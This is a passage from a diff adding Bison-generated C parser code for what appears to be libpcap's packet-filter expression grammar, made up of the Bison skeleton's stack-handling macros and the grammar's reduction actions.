PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 59 Temple Place - Suite 330, + Boston, MA 02111-1307, USA. */ + +/* As a special exception, when this file is copied by Bison into a + Bison output file, you may use that output file without restriction. + This special exception was added by the Free Software Foundation + in version 1.24 of Bison. */ + +/* This is the parser code that is written into each bison parser when + the %semantic_parser declaration is not specified in the grammar. + It was written by Richard Stallman by simplifying the hairy parser + used when %semantic_parser is specified. */ + +/* All symbols defined below should begin with yy or YY, to avoid + infringing on user name space. This should be done even for local + variables, as they might otherwise be expanded by user macros. + There are some unavoidable exceptions within include files to + define necessary library symbols; they are noted "INFRINGES ON + USER NAME SPACE" below. */ + +#if ! defined (yyoverflow) || defined (YYERROR_VERBOSE) + +/* The parser invokes alloca or malloc; define the necessary symbols. */ + +# if YYSTACK_USE_ALLOCA +# define YYSTACK_ALLOC alloca +# else +# ifndef YYSTACK_USE_ALLOCA +# if defined (alloca) || defined (_ALLOCA_H) +# define YYSTACK_ALLOC alloca +# else +# ifdef __GNUC__ +# define YYSTACK_ALLOC __builtin_alloca +# endif +# endif +# endif +# endif + +# ifdef YYSTACK_ALLOC + /* Pacify GCC's `empty if-body' warning. */ +# define YYSTACK_FREE(Ptr) do { /* empty */; } while (0) +# else +# if defined (__STDC__) || defined (__cplusplus) +# include /* INFRINGES ON USER NAME SPACE */ +# define YYSIZE_T size_t +# endif +# define YYSTACK_ALLOC malloc +# define YYSTACK_FREE free +# endif +#endif /* ! defined (yyoverflow) || defined (YYERROR_VERBOSE) */ + + +#if (! defined (yyoverflow) \ + && (! defined (__cplusplus) \ + || (YYLTYPE_IS_TRIVIAL && YYSTYPE_IS_TRIVIAL))) + +/* A type that is properly aligned for any stack member. */ +union yyalloc +{ + short yyss; + YYSTYPE yyvs; +# if YYLSP_NEEDED + YYLTYPE yyls; +# endif +}; + +/* The size of the maximum gap between one aligned stack and the next. */ +# define YYSTACK_GAP_MAX (sizeof (union yyalloc) - 1) + +/* The size of an array large to enough to hold all stacks, each with + N elements. */ +# if YYLSP_NEEDED +# define YYSTACK_BYTES(N) \ + ((N) * (sizeof (short) + sizeof (YYSTYPE) + sizeof (YYLTYPE)) \ + + 2 * YYSTACK_GAP_MAX) +# else +# define YYSTACK_BYTES(N) \ + ((N) * (sizeof (short) + sizeof (YYSTYPE)) \ + + YYSTACK_GAP_MAX) +# endif + +/* Copy COUNT objects from FROM to TO. The source and destination do + not overlap. */ +# ifndef YYCOPY +# if 1 < __GNUC__ +# define YYCOPY(To, From, Count) \ + __builtin_memcpy (To, From, (Count) * sizeof (*(From))) +# else +# define YYCOPY(To, From, Count) \ + do \ + { \ + register YYSIZE_T yyi; \ + for (yyi = 0; yyi < (Count); yyi++) \ + (To)[yyi] = (From)[yyi]; \ + } \ + while (0) +# endif +# endif + +/* Relocate STACK from its old location to the new one. The + local variables YYSIZE and YYSTACKSIZE give the old and new number of + elements in the stack, and YYPTR gives the new location of the + stack. Advance YYPTR to a properly aligned location for the next + stack. */ +# define YYSTACK_RELOCATE(Stack) \ + do \ + { \ + YYSIZE_T yynewbytes; \ + YYCOPY (&yyptr->Stack, Stack, yysize); \ + Stack = &yyptr->Stack; \ + yynewbytes = yystacksize * sizeof (*Stack) + YYSTACK_GAP_MAX; \ + yyptr += yynewbytes / sizeof (*yyptr); \ + } \ + while (0) + +#endif + + +#if ! defined (YYSIZE_T) && defined (__SIZE_TYPE__) +# define YYSIZE_T __SIZE_TYPE__ +#endif +#if ! defined (YYSIZE_T) && defined (size_t) +# define YYSIZE_T size_t +#endif +#if ! defined (YYSIZE_T) +# if defined (__STDC__) || defined (__cplusplus) +# include /* INFRINGES ON USER NAME SPACE */ +# define YYSIZE_T size_t +# endif +#endif +#if ! defined (YYSIZE_T) +# define YYSIZE_T unsigned int +#endif + +#define yyerrok (yyerrstatus = 0) +#define yyclearin (yychar = YYEMPTY) +#define YYEMPTY -2 +#define YYEOF 0 +#define YYACCEPT goto yyacceptlab +#define YYABORT goto yyabortlab +#define YYERROR goto yyerrlab1 +/* Like YYERROR except do call yyerror. This remains here temporarily + to ease the transition to the new meaning of YYERROR, for GCC. + Once GCC version 2 has supplanted version 1, this can go. */ +#define YYFAIL goto yyerrlab +#define YYRECOVERING() (!!yyerrstatus) +#define YYBACKUP(Token, Value) \ +do \ + if (yychar == YYEMPTY && yylen == 1) \ + { \ + yychar = (Token); \ + yylval = (Value); \ + yychar1 = YYTRANSLATE (yychar); \ + YYPOPSTACK; \ + goto yybackup; \ + } \ + else \ + { \ + yyerror ("syntax error: cannot back up"); \ + YYERROR; \ + } \ +while (0) + +#define YYTERROR 1 +#define YYERRCODE 256 + + +/* YYLLOC_DEFAULT -- Compute the default location (before the actions + are run). + + When YYLLOC_DEFAULT is run, CURRENT is set the location of the + first token. By default, to implement support for ranges, extend + its range to the last symbol. */ + +#ifndef YYLLOC_DEFAULT +# define YYLLOC_DEFAULT(Current, Rhs, N) \ + Current.last_line = Rhs[N].last_line; \ + Current.last_column = Rhs[N].last_column; +#endif + + +/* YYLEX -- calling `yylex' with the right arguments. */ + +#if YYPURE +# if YYLSP_NEEDED +# ifdef YYLEX_PARAM +# define YYLEX yylex (&yylval, &yylloc, YYLEX_PARAM) +# else +# define YYLEX yylex (&yylval, &yylloc) +# endif +# else /* !YYLSP_NEEDED */ +# ifdef YYLEX_PARAM +# define YYLEX yylex (&yylval, YYLEX_PARAM) +# else +# define YYLEX yylex (&yylval) +# endif +# endif /* !YYLSP_NEEDED */ +#else /* !YYPURE */ +# define YYLEX yylex () +#endif /* !YYPURE */ + + +/* Enable debugging if requested. */ +#if YYDEBUG + +# ifndef YYFPRINTF +# include /* INFRINGES ON USER NAME SPACE */ +# define YYFPRINTF fprintf +# endif + +# define YYDPRINTF(Args) \ +do { \ + if (yydebug) \ + YYFPRINTF Args; \ +} while (0) +/* Nonzero means print parse trace. It is left uninitialized so that + multiple parsers can coexist. */ +int yydebug; +#else /* !YYDEBUG */ +# define YYDPRINTF(Args) +#endif /* !YYDEBUG */ + +/* YYINITDEPTH -- initial size of the parser's stacks. */ +#ifndef YYINITDEPTH +# define YYINITDEPTH 200 +#endif + +/* YYMAXDEPTH -- maximum size the stacks can grow to (effective only + if the built-in stack extension method is used). + + Do not make this value too large; the results are undefined if + SIZE_MAX < YYSTACK_BYTES (YYMAXDEPTH) + evaluated with infinite-precision integer arithmetic. */ + +#if YYMAXDEPTH == 0 +# undef YYMAXDEPTH +#endif + +#ifndef YYMAXDEPTH +# define YYMAXDEPTH 10000 +#endif + +#ifdef YYERROR_VERBOSE + +# ifndef yystrlen +# if defined (__GLIBC__) && defined (_STRING_H) +# define yystrlen strlen +# else +/* Return the length of YYSTR. */ +static YYSIZE_T +# if defined (__STDC__) || defined (__cplusplus) +yystrlen (const char *yystr) +# else +yystrlen (yystr) + const char *yystr; +# endif +{ + register const char *yys = yystr; + + while (*yys++ != '\0') + continue; + + return yys - yystr - 1; +} +# endif +# endif + +# ifndef yystpcpy +# if defined (__GLIBC__) && defined (_STRING_H) && defined (_GNU_SOURCE) +# define yystpcpy stpcpy +# else +/* Copy YYSRC to YYDEST, returning the address of the terminating '\0' in + YYDEST. */ +static char * +# if defined (__STDC__) || defined (__cplusplus) +yystpcpy (char *yydest, const char *yysrc) +# else +yystpcpy (yydest, yysrc) + char *yydest; + const char *yysrc; +# endif +{ + register char *yyd = yydest; + register const char *yys = yysrc; + + while ((*yyd++ = *yys++) != '\0') + continue; + + return yyd - 1; +} +# endif +# endif +#endif + +#line 315 "/usr/share/bison/bison.simple" + + +/* The user can define YYPARSE_PARAM as the name of an argument to be passed + into yyparse. The argument should have type void *. + It should actually point to an object. + Grammar actions can access the variable by casting it + to the proper pointer type. */ + +#ifdef YYPARSE_PARAM +# if defined (__STDC__) || defined (__cplusplus) +# define YYPARSE_PARAM_ARG void *YYPARSE_PARAM +# define YYPARSE_PARAM_DECL +# else +# define YYPARSE_PARAM_ARG YYPARSE_PARAM +# define YYPARSE_PARAM_DECL void *YYPARSE_PARAM; +# endif +#else /* !YYPARSE_PARAM */ +# define YYPARSE_PARAM_ARG +# define YYPARSE_PARAM_DECL +#endif /* !YYPARSE_PARAM */ + +/* Prevent warning if -Wstrict-prototypes. */ +#ifdef __GNUC__ +# ifdef YYPARSE_PARAM +int yyparse (void *); +# else +int yyparse (void); +# endif +#endif + +/* YY_DECL_VARIABLES -- depending whether we use a pure parser, + variables are global, or local to YYPARSE. */ + +#define YY_DECL_NON_LSP_VARIABLES \ +/* The lookahead symbol. */ \ +int yychar; \ + \ +/* The semantic value of the lookahead symbol. */ \ +YYSTYPE yylval; \ + \ +/* Number of parse errors so far. */ \ +int yynerrs; + +#if YYLSP_NEEDED +# define YY_DECL_VARIABLES \ +YY_DECL_NON_LSP_VARIABLES \ + \ +/* Location data for the lookahead symbol. */ \ +YYLTYPE yylloc; +#else +# define YY_DECL_VARIABLES \ +YY_DECL_NON_LSP_VARIABLES +#endif + + +/* If nonreentrant, generate the variables here. */ + +#if !YYPURE +YY_DECL_VARIABLES +#endif /* !YYPURE */ + +int +yyparse (YYPARSE_PARAM_ARG) + YYPARSE_PARAM_DECL +{ + /* If reentrant, generate the variables here. */ +#if YYPURE + YY_DECL_VARIABLES +#endif /* !YYPURE */ + + register int yystate; + register int yyn; + int yyresult; + /* Number of tokens to shift before error messages enabled. */ + int yyerrstatus; + /* Lookahead token as an internal (translated) token number. */ + int yychar1 = 0; + + /* Three stacks and their tools: + `yyss': related to states, + `yyvs': related to semantic values, + `yyls': related to locations. + + Refer to the stacks thru separate pointers, to allow yyoverflow + to reallocate them elsewhere. */ + + /* The state stack. */ + short yyssa[YYINITDEPTH]; + short *yyss = yyssa; + register short *yyssp; + + /* The semantic value stack. */ + YYSTYPE yyvsa[YYINITDEPTH]; + YYSTYPE *yyvs = yyvsa; + register YYSTYPE *yyvsp; + +#if YYLSP_NEEDED + /* The location stack. */ + YYLTYPE yylsa[YYINITDEPTH]; + YYLTYPE *yyls = yylsa; + YYLTYPE *yylsp; +#endif + +#if YYLSP_NEEDED +# define YYPOPSTACK (yyvsp--, yyssp--, yylsp--) +#else +# define YYPOPSTACK (yyvsp--, yyssp--) +#endif + + YYSIZE_T yystacksize = YYINITDEPTH; + + + /* The variables used to return semantic value and location from the + action routines. */ + YYSTYPE yyval; +#if YYLSP_NEEDED + YYLTYPE yyloc; +#endif + + /* When reducing, the number of symbols on the RHS of the reduced + rule. */ + int yylen; + + YYDPRINTF ((stderr, "Starting parse\n")); + + yystate = 0; + yyerrstatus = 0; + yynerrs = 0; + yychar = YYEMPTY; /* Cause a token to be read. */ + + /* Initialize stack pointers. + Waste one element of value and location stack + so that they stay on the same level as the state stack. + The wasted elements are never initialized. */ + + yyssp = yyss; + yyvsp = yyvs; +#if YYLSP_NEEDED + yylsp = yyls; +#endif + goto yysetstate; + +/*------------------------------------------------------------. +| yynewstate -- Push a new state, which is found in yystate. | +`------------------------------------------------------------*/ + yynewstate: + /* In all cases, when you get here, the value and location stacks + have just been pushed. so pushing a state here evens the stacks. + */ + yyssp++; + + yysetstate: + *yyssp = yystate; + + if (yyssp >= yyss + yystacksize - 1) + { + /* Get the current used size of the three stacks, in elements. */ + YYSIZE_T yysize = yyssp - yyss + 1; + +#ifdef yyoverflow + { + /* Give user a chance to reallocate the stack. Use copies of + these so that the &'s don't force the real ones into + memory. */ + YYSTYPE *yyvs1 = yyvs; + short *yyss1 = yyss; + + /* Each stack pointer address is followed by the size of the + data in use in that stack, in bytes. */ +# if YYLSP_NEEDED + YYLTYPE *yyls1 = yyls; + /* This used to be a conditional around just the two extra args, + but that might be undefined if yyoverflow is a macro. */ + yyoverflow ("parser stack overflow", + &yyss1, yysize * sizeof (*yyssp), + &yyvs1, yysize * sizeof (*yyvsp), + &yyls1, yysize * sizeof (*yylsp), + &yystacksize); + yyls = yyls1; +# else + yyoverflow ("parser stack overflow", + &yyss1, yysize * sizeof (*yyssp), + &yyvs1, yysize * sizeof (*yyvsp), + &yystacksize); +# endif + yyss = yyss1; + yyvs = yyvs1; + } +#else /* no yyoverflow */ +# ifndef YYSTACK_RELOCATE + goto yyoverflowlab; +# else + /* Extend the stack our own way. */ + if (yystacksize >= YYMAXDEPTH) + goto yyoverflowlab; + yystacksize *= 2; + if (yystacksize > YYMAXDEPTH) + yystacksize = YYMAXDEPTH; + + { + short *yyss1 = yyss; + union yyalloc *yyptr = + (union yyalloc *) YYSTACK_ALLOC (YYSTACK_BYTES (yystacksize)); + if (! yyptr) + goto yyoverflowlab; + YYSTACK_RELOCATE (yyss); + YYSTACK_RELOCATE (yyvs); +# if YYLSP_NEEDED + YYSTACK_RELOCATE (yyls); +# endif +# undef YYSTACK_RELOCATE + if (yyss1 != yyssa) + YYSTACK_FREE (yyss1); + } +# endif +#endif /* no yyoverflow */ + + yyssp = yyss + yysize - 1; + yyvsp = yyvs + yysize - 1; +#if YYLSP_NEEDED + yylsp = yyls + yysize - 1; +#endif + + YYDPRINTF ((stderr, "Stack size increased to %lu\n", + (unsigned long int) yystacksize)); + + if (yyssp >= yyss + yystacksize - 1) + YYABORT; + } + + YYDPRINTF ((stderr, "Entering state %d\n", yystate)); + + goto yybackup; + + +/*-----------. +| yybackup. | +`-----------*/ +yybackup: + +/* Do appropriate processing given the current state. */ +/* Read a lookahead token if we need one and don't already have one. */ +/* yyresume: */ + + /* First try to decide what to do without reference to lookahead token. */ + + yyn = yypact[yystate]; + if (yyn == YYFLAG) + goto yydefault; + + /* Not known => get a lookahead token if don't already have one. */ + + /* yychar is either YYEMPTY or YYEOF + or a valid token in external form. */ + + if (yychar == YYEMPTY) + { + YYDPRINTF ((stderr, "Reading a token: ")); + yychar = YYLEX; + } + + /* Convert token to internal form (in yychar1) for indexing tables with */ + + if (yychar <= 0) /* This means end of input. */ + { + yychar1 = 0; + yychar = YYEOF; /* Don't call YYLEX any more */ + + YYDPRINTF ((stderr, "Now at end of input.\n")); + } + else + { + yychar1 = YYTRANSLATE (yychar); + +#if YYDEBUG + /* We have to keep this `#if YYDEBUG', since we use variables + which are defined only if `YYDEBUG' is set. */ + if (yydebug) + { + YYFPRINTF (stderr, "Next token is %d (%s", + yychar, yytname[yychar1]); + /* Give the individual parser a way to print the precise + meaning of a token, for further debugging info. */ +# ifdef YYPRINT + YYPRINT (stderr, yychar, yylval); +# endif + YYFPRINTF (stderr, ")\n"); + } +#endif + } + + yyn += yychar1; + if (yyn < 0 || yyn > YYLAST || yycheck[yyn] != yychar1) + goto yydefault; + + yyn = yytable[yyn]; + + /* yyn is what to do for this token type in this state. + Negative => reduce, -yyn is rule number. + Positive => shift, yyn is new state. + New state is final state => don't bother to shift, + just return success. + 0, or most negative number => error. */ + + if (yyn < 0) + { + if (yyn == YYFLAG) + goto yyerrlab; + yyn = -yyn; + goto yyreduce; + } + else if (yyn == 0) + goto yyerrlab; + + if (yyn == YYFINAL) + YYACCEPT; + + /* Shift the lookahead token. */ + YYDPRINTF ((stderr, "Shifting token %d (%s), ", + yychar, yytname[yychar1])); + + /* Discard the token being shifted unless it is eof. */ + if (yychar != YYEOF) + yychar = YYEMPTY; + + *++yyvsp = yylval; +#if YYLSP_NEEDED + *++yylsp = yylloc; +#endif + + /* Count tokens shifted since error; after three, turn off error + status. */ + if (yyerrstatus) + yyerrstatus--; + + yystate = yyn; + goto yynewstate; + + +/*-----------------------------------------------------------. +| yydefault -- do the default action for the current state. | +`-----------------------------------------------------------*/ +yydefault: + yyn = yydefact[yystate]; + if (yyn == 0) + goto yyerrlab; + goto yyreduce; + + +/*-----------------------------. +| yyreduce -- Do a reduction. | +`-----------------------------*/ +yyreduce: + /* yyn is the number of a rule to reduce with. */ + yylen = yyr2[yyn]; + + /* If YYLEN is nonzero, implement the default value of the action: + `$$ = $1'. + + Otherwise, the following line sets YYVAL to the semantic value of + the lookahead token. This behavior is undocumented and Bison + users should not rely upon it. Assigning to YYVAL + unconditionally makes the parser a bit smaller, and it avoids a + GCC warning that YYVAL may be used uninitialized. */ + yyval = yyvsp[1-yylen]; + +#if YYLSP_NEEDED + /* Similarly for the default location. Let the user run additional + commands if for instance locations are ranges. */ + yyloc = yylsp[1-yylen]; + YYLLOC_DEFAULT (yyloc, (yylsp - yylen), yylen); +#endif + +#if YYDEBUG + /* We have to keep this `#if YYDEBUG', since we use variables which + are defined only if `YYDEBUG' is set. */ + if (yydebug) + { + int yyi; + + YYFPRINTF (stderr, "Reducing via rule %d (line %d), ", + yyn, yyrline[yyn]); + + /* Print the symbols being reduced, and their result. */ + for (yyi = yyprhs[yyn]; yyrhs[yyi] > 0; yyi++) + YYFPRINTF (stderr, "%s ", yytname[yyrhs[yyi]]); + YYFPRINTF (stderr, " -> %s\n", yytname[yyr1[yyn]]); + } +#endif + + switch (yyn) { + +case 1: +#line 153 "../libpcap/grammar.y" +{ + finish_parse(yyvsp[0].blk.b); +} + break; +case 3: +#line 158 "../libpcap/grammar.y" +{ yyval.blk.q = qerr; } + break; +case 5: +#line 161 "../libpcap/grammar.y" +{ gen_and(yyvsp[-2].blk.b, yyvsp[0].blk.b); yyval.blk = yyvsp[0].blk; } + break; +case 6: +#line 162 "../libpcap/grammar.y" +{ gen_and(yyvsp[-2].blk.b, yyvsp[0].blk.b); yyval.blk = yyvsp[0].blk; } + break; +case 7: +#line 163 "../libpcap/grammar.y" +{ gen_or(yyvsp[-2].blk.b, yyvsp[0].blk.b); yyval.blk = yyvsp[0].blk; } + break; +case 8: +#line 164 "../libpcap/grammar.y" +{ gen_or(yyvsp[-2].blk.b, yyvsp[0].blk.b); yyval.blk = yyvsp[0].blk; } + break; +case 9: +#line 166 "../libpcap/grammar.y" +{ yyval.blk = yyvsp[-1].blk; } + break; +case 10: +#line 168 "../libpcap/grammar.y" +{ yyval.blk = yyvsp[-1].blk; } + break; +case 12: +#line 171 "../libpcap/grammar.y" +{ yyval.blk.b = gen_ncode(NULL, (bpf_u_int32)yyvsp[0].i, + yyval.blk.q = yyvsp[-1].blk.q); } + break; +case 13: +#line 173 "../libpcap/grammar.y" +{ yyval.blk = yyvsp[-1].blk; } + break; +case 14: +#line 175 "../libpcap/grammar.y" +{ yyval.blk.b = gen_scode(yyvsp[0].s, yyval.blk.q = yyvsp[-1].blk.q); } + break; +case 15: +#line 176 "../libpcap/grammar.y" +{ yyval.blk.b = gen_mcode(yyvsp[-2].s, NULL, yyvsp[0].i, + yyval.blk.q = yyvsp[-3].blk.q); } + break; +case 16: +#line 178 "../libpcap/grammar.y" +{ yyval.blk.b = gen_mcode(yyvsp[-2].s, yyvsp[0].s, 0, + yyval.blk.q = yyvsp[-3].blk.q); } + break; +case 17: +#line 180 "../libpcap/grammar.y" +{ + /* Decide how to parse HID based on proto */ + yyval.blk.q = yyvsp[-1].blk.q; + yyval.blk.b = gen_ncode(yyvsp[0].s, 0, yyval.blk.q); + } + break; +case 18: +#line 185 "../libpcap/grammar.y" +{ +#ifdef INET6 + yyval.blk.b = gen_mcode6(yyvsp[-2].s, NULL, yyvsp[0].i, + yyval.blk.q = yyvsp[-3].blk.q); +#else + bpf_error("'ip6addr/prefixlen' not supported " + "in this configuration"); +#endif /*INET6*/ + } + break; +case 19: +#line 194 "../libpcap/grammar.y" +{ +#ifdef INET6 + yyval.blk.b = gen_mcode6(yyvsp[0].s, 0, 128, + yyval.blk.q = yyvsp[-1].blk.q); +#else + bpf_error("'ip6addr' not supported " + "in this configuration"); +#endif /*INET6*/ + } + break; +case 20: +#line 203 "../libpcap/grammar.y" +{ + yyval.blk.b = gen_ecode(yyvsp[0].e, yyval.blk.q = yyvsp[-1].blk.q); + /* + * $1 was allocated by "pcap_ether_aton()", + * so we must free it now that we're done + * with it. + */ + free(yyvsp[0].e); + } + break; +case 21: +#line 212 "../libpcap/grammar.y" +{ + yyval.blk.b = gen_acode(yyvsp[0].e, yyval.blk.q = yyvsp[-1].blk.q); + /* + * $1 was allocated by "pcap_ether_aton()", + * so we must free it now that we're done + * with it. + */ + free(yyvsp[0].e); + } + break; +case 22: +#line 221 "../libpcap/grammar.y" +{ gen_not(yyvsp[0].blk.b); yyval.blk = yyvsp[0].blk; } + break; +case 23: +#line 223 "../libpcap/grammar.y" +{ yyval.blk = yyvsp[-1].blk; } + break; +case 24: +#line 225 "../libpcap/grammar.y" +{ yyval.blk = yyvsp[-1].blk; } + break; +case 26: +#line 228 "../libpcap/grammar.y" +{ gen_and(yyvsp[-2].blk.b, yyvsp[0].blk.b); yyval.blk = yyvsp[0].blk; } + break; +case 27: +#line 229 "../libpcap/grammar.y" +{ gen_or(yyvsp[-2].blk.b, yyvsp[0].blk.b); yyval.blk = yyvsp[0].blk; } + break; +case 28: +#line 231 "../libpcap/grammar.y" +{ yyval.blk.b = gen_ncode(NULL, (bpf_u_int32)yyvsp[0].i, + yyval.blk.q = yyvsp[-1].blk.q); } + break; +case 31: +#line 236 "../libpcap/grammar.y" +{ gen_not(yyvsp[0].blk.b); yyval.blk = yyvsp[0].blk; } + break; +case 32: +#line 238 "../libpcap/grammar.y" +{ QSET(yyval.blk.q, yyvsp[-2].i, yyvsp[-1].i, yyvsp[0].i); } + break; +case 33: +#line 239 "../libpcap/grammar.y" +{ QSET(yyval.blk.q, yyvsp[-1].i, yyvsp[0].i, Q_DEFAULT); } + break; +case 34: +#line 240 "../libpcap/grammar.y" +{ QSET(yyval.blk.q, yyvsp[-1].i, Q_DEFAULT, yyvsp[0].i); } + break; +case 35: +#line 241 "../libpcap/grammar.y" +{ QSET(yyval.blk.q, yyvsp[-1].i, Q_DEFAULT, Q_PROTO); } + break; +case 36: +#line 242 "../libpcap/grammar.y" +{ QSET(yyval.blk.q, yyvsp[-1].i, Q_DEFAULT, Q_PROTOCHAIN); } + break; +case 37: +#line 243 "../libpcap/grammar.y" +{ QSET(yyval.blk.q, yyvsp[-1].i, Q_DEFAULT, yyvsp[0].i); } + break; +case 38: +#line 245 "../libpcap/grammar.y" +{ yyval.blk = yyvsp[0].blk; } + break; +case 39: +#line 246 "../libpcap/grammar.y" +{ yyval.blk.b = yyvsp[-1].blk.b; yyval.blk.q = yyvsp[-2].blk.q; } + break; +case 40: +#line 247 "../libpcap/grammar.y" +{ yyval.blk.b = gen_proto_abbrev(yyvsp[0].i); yyval.blk.q = qerr; } + break; +case 41: +#line 248 "../libpcap/grammar.y" +{ yyval.blk.b = gen_relation(yyvsp[-1].i, yyvsp[-2].a, yyvsp[0].a, 0); + yyval.blk.q = qerr; } + break; +case 42: +#line 250 "../libpcap/grammar.y" +{ yyval.blk.b = gen_relation(yyvsp[-1].i, yyvsp[-2].a, yyvsp[0].a, 1); + yyval.blk.q = qerr; } + break; +case 43: +#line 252 "../libpcap/grammar.y" +{ yyval.blk.b = yyvsp[0].rblk; yyval.blk.q = qerr; } + break; +case 44: +#line 253 "../libpcap/grammar.y" +{ yyval.blk.b = gen_atmtype_abbrev(yyvsp[0].i); yyval.blk.q = qerr; } + break; +case 45: +#line 254 "../libpcap/grammar.y" +{ yyval.blk.b = gen_atmmulti_abbrev(yyvsp[0].i); yyval.blk.q = qerr; } + break; +case 46: +#line 255 "../libpcap/grammar.y" +{ yyval.blk.b = yyvsp[0].blk.b; yyval.blk.q = qerr; } + break; +case 48: +#line 259 "../libpcap/grammar.y" +{ yyval.i = Q_DEFAULT; } + break; +case 49: +#line 262 "../libpcap/grammar.y" +{ yyval.i = Q_SRC; } + break; +case 50: +#line 263 "../libpcap/grammar.y" +{ yyval.i = Q_DST; } + break; +case 51: +#line 264 "../libpcap/grammar.y" +{ yyval.i = Q_OR; } + break; +case 52: +#line 265 "../libpcap/grammar.y" +{ yyval.i = Q_OR; } + break; +case 53: +#line 266 "../libpcap/grammar.y" +{ yyval.i = Q_AND; } + break; +case 54: +#line 267 "../libpcap/grammar.y" +{ yyval.i = Q_AND; } + break; +case 55: +#line 270 "../libpcap/grammar.y" +{ yyval.i = Q_HOST; } + break; +case 56: +#line 271 "../libpcap/grammar.y" +{ yyval.i = Q_NET; } + break; +case 57: +#line 272 "../libpcap/grammar.y" +{ yyval.i = Q_PORT; } + break; +case 58: +#line 275 "../libpcap/grammar.y" +{ yyval.i = Q_GATEWAY; } + break; +case 59: +#line 277 "../libpcap/grammar.y" +{ yyval.i = Q_LINK; } + break; +case 60: +#line 278 "../libpcap/grammar.y" +{ yyval.i = Q_IP; } + break; +case 61: +#line 279 "../libpcap/grammar.y" +{ yyval.i = Q_ARP; } + break; +case 62: +#line 280 "../libpcap/grammar.y" +{ yyval.i = Q_RARP; } + break; +case 63: +#line 281 "../libpcap/grammar.y" +{ yyval.i = Q_SCTP; } + break; +case 64: +#line 282 "../libpcap/grammar.y" +{ yyval.i = Q_TCP; } + break; +case 65: +#line 283 "../libpcap/grammar.y" +{ yyval.i = Q_UDP; } + break; +case 66: +#line 284 "../libpcap/grammar.y" +{ yyval.i = Q_ICMP; } + break; +case 67: +#line 285 "../libpcap/grammar.y" +{ yyval.i = Q_IGMP; } + break; +case 68: +#line 286 "../libpcap/grammar.y" +{ yyval.i = Q_IGRP; } + break; +case 69: +#line 287 "../libpcap/grammar.y" +{ yyval.i = Q_PIM; } + break; +case 70: +#line 288 "../libpcap/grammar.y" +{ yyval.i = Q_VRRP; } + break; +case 71: +#line 289 "../libpcap/grammar.y" +{ yyval.i = Q_ATALK; } + break; +case 72: +#line 290 "../libpcap/grammar.y" +{ yyval.i = Q_AARP; } + break; +case 73: +#line 291 "../libpcap/grammar.y" +{ yyval.i = Q_DECNET; } + break; +case 74: +#line 292 "../libpcap/grammar.y" +{ yyval.i = Q_LAT; } + break; +case 75: +#line 293 "../libpcap/grammar.y" +{ yyval.i = Q_SCA; } + break; +case 76: +#line 294 "../libpcap/grammar.y" +{ yyval.i = Q_MOPDL; } + break; +case 77: +#line 295 "../libpcap/grammar.y" +{ yyval.i = Q_MOPRC; } + break; +case 78: +#line 296 "../libpcap/grammar.y" +{ yyval.i = Q_IPV6; } + break; +case 79: +#line 297 "../libpcap/grammar.y" +{ yyval.i = Q_ICMPV6; } + break; +case 80: +#line 298 "../libpcap/grammar.y" +{ yyval.i = Q_AH; } + break; +case 81: +#line 299 "../libpcap/grammar.y" +{ yyval.i = Q_ESP; } + break; +case 82: +#line 300 "../libpcap/grammar.y" +{ yyval.i = Q_ISO; } + break; +case 83: +#line 301 "../libpcap/grammar.y" +{ yyval.i = Q_ESIS; } + break; +case 84: +#line 302 "../libpcap/grammar.y" +{ yyval.i = Q_ISIS; } + break; +case 85: +#line 303 "../libpcap/grammar.y" +{ yyval.i = Q_CLNP; } + break; +case 86: +#line 304 "../libpcap/grammar.y" +{ yyval.i = Q_STP; } + break; +case 87: +#line 305 "../libpcap/grammar.y" +{ yyval.i = Q_IPX; } + break; +case 88: +#line 306 "../libpcap/grammar.y" +{ yyval.i = Q_NETBEUI; } + break; +case 89: +#line 308 "../libpcap/grammar.y" +{ yyval.rblk = gen_broadcast(yyvsp[-1].i); } + break; +case 90: +#line 309 "../libpcap/grammar.y" +{ yyval.rblk = gen_multicast(yyvsp[-1].i); } + break; +case 91: +#line 310 "../libpcap/grammar.y" +{ yyval.rblk = gen_less(yyvsp[0].i); } + break; +case 92: +#line 311 "../libpcap/grammar.y" +{ yyval.rblk = gen_greater(yyvsp[0].i); } + break; +case 93: +#line 312 "../libpcap/grammar.y" +{ yyval.rblk = gen_byteop(yyvsp[-1].i, yyvsp[-2].i, yyvsp[0].i); } + break; +case 94: +#line 313 "../libpcap/grammar.y" +{ yyval.rblk = gen_inbound(0); } + break; +case 95: +#line 314 "../libpcap/grammar.y" +{ yyval.rblk = gen_inbound(1); } + break; +case 96: +#line 315 "../libpcap/grammar.y" +{ yyval.rblk = gen_vlan(yyvsp[0].i); } + break; +case 97: +#line 316 "../libpcap/grammar.y" +{ yyval.rblk = gen_vlan(-1); } + break; +case 98: +#line 318 "../libpcap/grammar.y" +{ yyval.i = BPF_JGT; } + break; +case 99: +#line 319 "../libpcap/grammar.y" +{ yyval.i = BPF_JGE; } + break; +case 100: +#line 320 "../libpcap/grammar.y" +{ yyval.i = BPF_JEQ; } + break; +case 101: +#line 322 "../libpcap/grammar.y" +{ yyval.i = BPF_JGT; } + break; +case 102: +#line 323 "../libpcap/grammar.y" +{ yyval.i = BPF_JGE; } + break; +case 103: +#line 324 "../libpcap/grammar.y" +{ yyval.i = BPF_JEQ; } + break; +case 104: +#line 326 "../libpcap/grammar.y" +{ yyval.a = gen_loadi(yyvsp[0].i); } + break; +case 106: +#line 329 "../libpcap/grammar.y" +{ yyval.a = gen_load(yyvsp[-3].i, yyvsp[-1].a, 1); } + break; +case 107: +#line 330 "../libpcap/grammar.y" +{ yyval.a = gen_load(yyvsp[-5].i, yyvsp[-3].a, yyvsp[-1].i); } + break; +case 108: +#line 331 "../libpcap/grammar.y" +{ yyval.a = gen_arth(BPF_ADD, yyvsp[-2].a, yyvsp[0].a); } + break; +case 109: +#line 332 "../libpcap/grammar.y" +{ yyval.a = gen_arth(BPF_SUB, yyvsp[-2].a, yyvsp[0].a); } + break; +case 110: +#line 333 "../libpcap/grammar.y" +{ yyval.a = gen_arth(BPF_MUL, yyvsp[-2].a, yyvsp[0].a); } + break; +case 111: +#line 334 "../libpcap/grammar.y" +{ yyval.a = gen_arth(BPF_DIV, yyvsp[-2].a, yyvsp[0].a); } + break; +case 112: +#line 335 "../libpcap/grammar.y" +{ yyval.a = gen_arth(BPF_AND, yyvsp[-2].a, yyvsp[0].a); } + break; +case 113: +#line 336 "../libpcap/grammar.y" +{ yyval.a = gen_arth(BPF_OR, yyvsp[-2].a, yyvsp[0].a); } + break; +case 114: +#line 337 